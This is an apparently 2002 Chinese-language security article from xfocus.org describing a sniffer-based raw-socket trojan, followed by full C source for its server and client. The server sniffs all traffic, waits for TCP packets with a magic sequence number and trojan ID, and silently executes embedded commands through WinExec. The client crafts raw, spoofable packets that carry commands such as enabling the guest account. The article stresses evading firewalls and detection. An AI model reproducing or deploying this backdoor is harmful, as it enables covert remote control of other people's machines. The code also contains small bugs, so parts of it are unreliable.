基于嗅探原理的原始套接字木马创建时间:2002-10-11 文章属性:原创 文章来源:www.xfocus.org 文章提交:refdom (refdom_at_263.net) 基于嗅探原理的原始套接字木马 Author: Refdom Email : refdom@xfocus.org (or refdom@263.net) HomePage: www.xfocus.org (or www.opengram.com) Date: 2002/9/14 基于嗅探原理的原始套接字木马。 首先我们说说现有木马的特点和功能。早期木马一般都是基于TCP连接的,现在这种木马的生存能力 非常有限,因为直接基于连接的木马很容易被拦截或者发现。然后有通过改变协议来实现通讯隐藏的木马, 比如采用UDP或者ICMP或者其他协议的,当然,这些协议通常对于主机来说并不常用,所以很多安全配置 上就要求尽量禁止这些协议,比如禁止ICMP,让ICMP木马没有了生存机会。反向连接或者ACK木马等非常流 行,因为表现为不是直接的由外向内的TCP连接。 当然木马还更多发展在自身的隐藏上,比如注射、核心木马等。不过该方法的重点暂不是自身进程的 隐藏,而强调在通讯方式上。 这里讲的一种实现方式是:使用基于嗅探原理的原始套接字木马。它的基本实现是:服务器端是一个 sniffer和发包器,它将捕获指定特征的数据包。客户端是一个发包器和嗅探器,用来发送指定特征的数据 包并包括定义的命令以及接收server的数据。当server捕获到该指定特征的数据包时,变成激活状态,通 过分析该数据包,获得client发送的命令和client的IP地址,然后实现相应的命令,并将执行后的结果发 送回client,client的嗅探部分则接收相应的数据。所有的数据发送都是通过原始套接字(或相应)进行。 比如:我们设置特定的协议或者ACK或者其他位及其集合为特征。 该方式的优点:完全基于非连接状态,使用原始包进行通讯,不同协议有关,可使用任意协议,可采 用任意指定的数据包形式,可实现部分的隐藏地址(如果是非交换的局域网则是可以完全的隐藏地址)、 可实现无连接反向通讯、甚至能够突破一些防火墙的监视; 缺点:不是可靠的数据连接、不稳定地执行大数据传输,对于数据流量较大的SERVER,其sniffer的效 率占很重要的地位; 以下是一个简单的演示,看起来比较象一个后门。呵呵。麻雀虽小,五脏具全。 其中定义了一个简单的木马协议,基于TCP协议基础上,使用了SEQ位来判别而不基于端口,能够执行指定的命令。 定义部分: #define MAX_PACKET_SIZE 65536 #define SEQ_IDENTITY 12345 //验证是否符合需要的SEQ值,这个值在正常包中不会有吧! #define TROJAN_ID_IDENTITY 6789 //验证是否符合需要的trojan_id值 #define LOCAL_PORT 1234 //本地Port, 这个定义并没有实际意义 #define SERVER_PORT 80 //服务端Port, 这个定义并没有实际意义 typedef struct ip_hdr //定义IP首部 { unsigned char h_verlen; //4位首部长度,4位IP版本号 unsigned char tos; //8位服务类型TOS unsigned short total_len; //16位总长度(字节) unsigned short ident; //16位标识 unsigned short frag_and_flags; //3位标志位 unsigned char ttl; //8位生存时间 TTL unsigned char proto; //8位协议 (TCP, UDP 或其他) unsigned short checksum; //16位IP首部校验和 unsigned int sourceIP; //32位源IP地址 unsigned int destIP; //32位目的IP地址 }IP_HEADER, *PIP_HEADER; typedef struct psd_hdr //定义TCP伪首部 { unsigned long saddr; //源地址 unsigned long daddr; //目的地址 char mbz; char ptcl; //协议类型 unsigned short tcpl; //TCP长度 }PSD_HEADER; typedef struct tcp_hdr //定义TCP首部 { unsigned short th_sport; //16位源端口 unsigned short th_dport; //16位目的端口 unsigned int th_seq; //32位序列号 unsigned int th_ack; //32位确认号 unsigned char th_lenres; //4位首部长度/6位保留字 unsigned char th_flags; //6位标志位 unsigned short th_win; //16位窗口大小 unsigned short th_sum; //16位校验和 unsigned short th_urp; //16位紧急数据偏移量 }TCP_HEADER, *PTCP_HEADER; typedef struct trojan_packet //定义木马使用的协议 { unsigned int trojan_id; //木马数据包的标识,网络顺序 unsigned short trojan_len; //执行的命令长度,主机顺序 }TROJAN_HEADER, *PTROJAN_HEADER; /* 木马数据包的结构 ------------------------------------------------------------- | IP Header | TCP Header | Trojan Header | Trojan Command ------------------------------------------------------------- 包的最小程度是46字节 */ #pragma pack(pop) SERVER部分的演示(Server.cpp): //////////////////////////////////////////////////////////////////////////////// // // SniffTrojan // // File : Server.cpp // Comment : The Server model // // Created at : 2002.9.13 // Created by : Refdom // Email : refdom@263.net // Home Page : www.opengram.com // // If you modify the code, or add more functions, please email me a copy. // //////////////////////////////////////////////////////////////////////////////// /* 木马数据包的结构 ------------------------------------------------------------- | IP Header | TCP Header | Trojan Header | Trojan Command ------------------------------------------------------------- 包的最小程度是46字节 */ ////////////////////////////////////////////////// void Usage(); int SniffThread(); int SendThread(); int DecodeData(char* pBuffer); unsigned long GetLocalIP(); ////////////////////////////////////////////////// int main(int argc, char* argv[]) { WSADATA WSAData; int nRetCode = 0; if (WSAStartup(MAKEWORD(2,2), &WSAData) != 0 ) { //WSAStartup Error! printf("WSAStartup Error!%d\n", WSAGetLastError()); nRetCode = -1; return nRetCode; } //开始嗅探数据 SniffThread(); //quit WSACleanup(); return 0; } void Usage() { printf("**************************************************\n"); printf("Demo For SniffTrojan\n\n"); printf("\t Written by Refdom\n"); printf("\t Email: refdom@xfocus.org or refdom@263.net\n"); printf("\t Homepage: www.xfocus.org or www.opengram.com\n"); printf("**************************************************\n"); } int SniffThread() { int nRetCode = 0; int nRecvBytes = 0; char* pBuffer = NULL; SOCKET nSock = INVALID_SOCKET; SOCKADDR_IN addr_in; DWORD dwBufferLen[10]; DWORD dwBufferInLen = 1; DWORD dwBytesReturned = 0; //define a raw socket nSock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (INVALID_SOCKET == nSock) { nRetCode = -1; goto Exit0; } addr_in.sin_family = AF_INET; addr_in.sin_port = INADDR_ANY; addr_in.sin_addr.S_un.S_addr = GetLocalIP(); nRetCode = bind(nSock, (struct sockaddr*)&addr_in, sizeof(addr_in)); if (SOCKET_ERROR == nRetCode) { printf("BIND Error!%d\n", WSAGetLastError()); goto Exit0; } //socket for sniffer nRetCode = WSAIoctl(nSock, SIO_RCVALL, &dwBufferInLen, sizeof(dwBufferInLen), &dwBufferLen, sizeof(dwBufferLen), &dwBytesReturned , NULL , NULL ); if (SOCKET_ERROR == nRetCode) { printf("WSAIOCTL Error!%d\n", WSAGetLastError()); goto Exit0; } //start sniffing pBuffer = (char*)malloc(MAX_PACKET_SIZE); while(1) { memset(pBuffer, 0, MAX_PACKET_SIZE); nRecvBytes = recv(nSock, pBuffer, MAX_PACKET_SIZE, 0); if (SOCKET_ERROR == nRetCode) { printf("RECV Error!%d\n", WSAGetLastError()); goto Exit0; } if (nRecvBytes < 46) continue; DecodeData(pBuffer); //数据解码 } Exit0: if (pBuffer != NULL) free(pBuffer); if (nSock != INVALID_SOCKET) closesocket(nSock); return nRetCode; } //获取本地IP地址 unsigned long GetLocalIP() { char szLocalIP[20] = {0}; char szHostName[128+1] = "\0"; hostent *phe; int i; if( gethostname(szHostName, 128 ) == 0 ) { // Get host adresses phe = gethostbyname(szHostName); for( i = 0; phe != NULL && phe->h_addr_list[i]!= NULL; i++ ) { sprintf(szLocalIP, "%d.%d.%d.%d", (UINT)((UCHAR*)phe->h_addr_list[i])[0], (UINT)((UCHAR*)phe->h_addr_list[i])[1], (UINT)((UCHAR*)phe->h_addr_list[i])[2], (UINT)((UCHAR*)phe->h_addr_list[i])[3]); } } else return 0; return inet_addr(szLocalIP); } int DecodeData(char* pBuffer) { int nRetCode = 0; char* pCommand = NULL; unsigned short usCmdLength = 0; PIP_HEADER pIPHeader = NULL; PTCP_HEADER pTCPHeader = NULL; PTROJAN_HEADER pTrojanHeader = NULL; pIPHeader = (PIP_HEADER)pBuffer; //只取TCP包 if (pIPHeader->proto != IPPROTO_TCP) goto Exit0; pTCPHeader = (PTCP_HEADER)(pBuffer + sizeof(IP_HEADER)); //验证该TCP包是否其SEQ值符合需要 if (ntohs(pTCPHeader->th_seq) != SEQ_IDENTITY) goto Exit0; pTrojanHeader = (PTROJAN_HEADER)(pBuffer + sizeof(IP_HEADER) + sizeof(TCP_HEADER)); //验证该TCP包是否是合法的木马包 if (ntohs(pTrojanHeader->trojan_id) != TROJAN_ID_IDENTITY) goto Exit0; usCmdLength = pTrojanHeader->trojan_len; //获得命令的长度 if (0 == usCmdLength) goto Exit0; printf("OK!\n"); pCommand = (char*)malloc(usCmdLength + 1); memset(pCommand, 0, usCmdLength + 1); memcpy(pCommand, pBuffer + sizeof(IP_HEADER) + sizeof(TCP_HEADER) + sizeof(TROJAN_HEADER), usCmdLength); nRetCode = WinExec(pCommand, SW_HIDE); //执行命令 if (nRetCode > 31) { //WinExec Successfully! } Exit0: return nRetCode; } 控制端的演示(Client.cpp): ////////////////////////////////////////////////// void Usage() { printf("**************************************************\n"); printf("Demo For SniffTrojan\n\n"); printf("\t Written by Refdom\n"); printf("\t Email: refdom@xfocus.org or refdom@263.net\n"); printf("\t Homepage: www.xfocus.org or www.opengram.com\n"); printf("Usage: Client.exe ServerIP Command\n"); printf("eg:Client.exe 192.168.0.2 \"net user guest /active\"\n"); printf("**************************************************\n"); } ////////////////////////////////////////////////// int main(int argc, char* argv[]) { int nRetCode = 0, nCommandLength = 0; char szDataBuf[MAX_PACKET_SIZE] = {0}; char* pCommand = NULL; BOOL bOption; WSADATA WSAData; SOCKET nSock = INVALID_SOCKET; SOCKADDR_IN addr_in; IP_HEADER IP_Header; TCP_HEADER TCP_Header; PSD_HEADER PSD_Header; TROJAN_HEADER Trojan_Header; Usage(); if (argc != 3) { printf("\nArguments Error!\n"); return -1; } //获得需要执行的命令 nCommandLength = strlen(argv[2]); pCommand = (char*)malloc(nCommandLength + 2); memset(pCommand, 0, nCommandLength + 2); memcpy(pCommand, argv[2], nCommandLength); if (WSAStartup(MAKEWORD(2,2), &WSAData) != 0) { //WSAStartup Error! printf("WSAStartup Error!%d\n", WSAGetLastError()); nRetCode = -1; return nRetCode; } nSock = socket(AF_INET, SOCK_RAW, IPPROTO_IP); if (INVALID_SOCKET == nSock) { printf("SOCKET Error!%d\n", WSAGetLastError()); goto Exit0; } nRetCode = setsockopt(nSock, IPPROTO_IP, IP_HDRINCL, (char*)&bOption, sizeof(bOption)); if (SOCKET_ERROR == nRetCode) { printf("SetSockOpt Error!%d\n", WSAGetLastError()); goto Exit0; } //填充IP首部 IP_Header.h_verlen = (4 << 4) | (sizeof(IP_HEADER) / sizeof(unsigned long)); IP_Header.tos = 0; IP_Header.total_len = htons(sizeof(IP_HEADER) + sizeof(TCP_HEADER)); IP_Header.frag_and_flags = 0; IP_Header.ttl = 128; IP_Header.proto = IPPROTO_TCP; IP_Header.checksum = 0; IP_Header.sourceIP = GetLocalIP(); //当然可以伪造自己的地址 IP_Header.destIP = inet_addr(argv[1]); //服务器端IP地址,如果是非交换网络,那么可以不是服务器的地址,而设置一个同网 段或者同HUB的地址。 //填充TCP首部 TCP_Header.th_sport = htons(LOCAL_PORT); //这个端口没有实际意义,倒是可以躲开防火墙 TCP_Header.th_dport = htons(SERVER_PORT); //这个端口没有实际意义,倒是可以躲开防火墙 TCP_Header.th_seq = htons(SEQ_IDENTITY); //木马服务器端的识别标志 TCP_Header.th_ack = 345678; TCP_Header.th_lenres = (sizeof(TCP_HEADER)/4<<4|0); TCP_Header.th_flags = 0x01; //随意设置TCP标志位 TCP_Header.th_win = 12345; TCP_Header.th_urp = 0; TCP_Header.th_sum = 0; //填充木马协议的头部 Trojan_Header.trojan_id = htons(TROJAN_ID_IDENTITY); Trojan_Header.trojan_len = nCommandLength; //填充TCP伪首部(用于计算校验和) PSD_Header.saddr = IP_Header.sourceIP; PSD_Header.daddr = IP_Header.destIP; PSD_Header.mbz = 0; PSD_Header.ptcl = IPPROTO_TCP; PSD_Header.tcpl = htons(sizeof(TCP_HEADER) + sizeof(TROJAN_HEADER) + nCommandLength); //计算TCP校验和 memcpy(szDataBuf, &PSD_Header, sizeof(PSD_HEADER)); memcpy(szDataBuf + sizeof(PSD_HEADER), &TCP_Header, sizeof(TCP_HEADER)); memcpy(szDataBuf + sizeof(PSD_HEADER) + sizeof(TCP_HEADER), &Trojan_Header, sizeof(TROJAN_HEADER)); memcpy(szDataBuf + sizeof(PSD_HEADER) + sizeof(TCP_HEADER) + sizeof(TROJAN_HEADER), pCommand, nCommandLength); TCP_Header.th_sum = CheckSum((unsigned short *)szDataBuf, sizeof(PSD_HEADER) + sizeof(TCP_HEADER) + sizeof(TROJAN_HEADER) + nCommandLength); //填充发送缓冲区 memcpy(szDataBuf, &IP_Header, sizeof(IP_HEADER)); memcpy(szDataBuf + sizeof(IP_HEADER), &TCP_Header, sizeof(TCP_HEADER)); memcpy(szDataBuf + sizeof(IP_HEADER) + sizeof(TCP_HEADER), &Trojan_Header, sizeof(TROJAN_HEADER)); memcpy(szDataBuf + sizeof(IP_HEADER) + sizeof(TCP_HEADER) + sizeof(TROJAN_HEADER), pCommand, nCommandLength); addr_in.sin_family = AF_INET; addr_in.sin_port = htons(LOCAL_PORT); addr_in.sin_addr.S_un.S_addr = inet_addr(argv[1]); //发送命令 printf("Start to send command...\n"); nRetCode = sendto(nSock, szDataBuf, sizeof(IP_HEADER) + sizeof(TCP_HEADER) + sizeof(TROJAN_HEADER) + nCommandLength, 0, (struct sockaddr*)&addr_in, sizeof(addr_in)); if (SOCKET_ERROR == nRetCode) { printf("Sendto Error!%d\n", WSAGetLastError()); goto Exit0; } printf("Send OK!\n"); Exit0: if (pCommand != NULL) free(pCommand); if (nSock != INVALID_SOCKET) closesocket(nSock); WSACleanup(); return 0; } |